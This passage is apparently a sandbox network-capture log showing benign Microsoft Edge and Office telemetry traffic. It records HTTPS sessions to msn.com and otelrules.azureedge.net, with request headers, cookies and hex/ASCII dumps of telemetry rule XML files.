V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49914	20.42.65.85	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:41 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731843339280&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9648 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-17 11:35:41 UTC	9648	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 31 31 3a 33 35 3a 33 39 2e 32 37 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 64 64 63 31 39 32 66 2d 64 34 31 36 2d 34 31 31 66 2d 39 64 39 63 2d 39 66 64 33 64 33 32 35 64 32 62 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 30 37 37 36 37 39 34 34 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-17T11:35:39.279Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"3ddc192f-d416-411f-9d9c-9fd3d325d2b5","epoch":"1077679444"},"app":{"loc
2024-11-17 11:35:41 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9ce167f6ed2d4f8984c054adab3037cf&HASH=9ce1&LV=202411&V=4&LU=1731843341261; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 11:35:41 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=fbed4a3097314c1e98385d3b250816cc; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 12:05:41 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1981 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 11:35:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:41 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113541Z-16547b76f7fkz9l7hC1DFW35uc00000001b0000000004fzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:41 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 42a4478f-a01e-0032-2706-371949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113542Z-164f84587bfn7ppchC1DFW0meg00000003ng000000004q3n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:42 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113542Z-1866b5c5fbbqmbqjhC1DFWwgvc00000003qg00000000aqum x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:42 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:42 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113542Z-16547b76f7fk9g8vhC1DFW825400000004w000000000df49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:42 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113542Z-16547b76f7fl5zvnhC1DFWtk9g00000002hg00000000fff7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:42 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:42 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5f02778f-801e-0048-0e9a-37f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113542Z-164f84587bf6n6jwhC1DFW90fn00000003fg000000003e85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:42 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:42 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 83606b1e-901e-00ac-2b7d-37b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113542Z-164f84587bf7jb9dhC1DFWkay400000003v00000000091s6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:42 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:42 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: cc141125-801e-0067-1cd2-37fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113542Z-16547b76f7fwm7vghC1DFW900s00000001ug00000000664k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:42 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113542Z-16547b76f7fw2955hC1DFWsptc00000004mg00000000eghs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:43 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:42 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:42 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 9b66de24-701e-0098-7086-36395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113542Z-164f84587bfh9nvdhC1DFWmce0000000026g000000003xev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
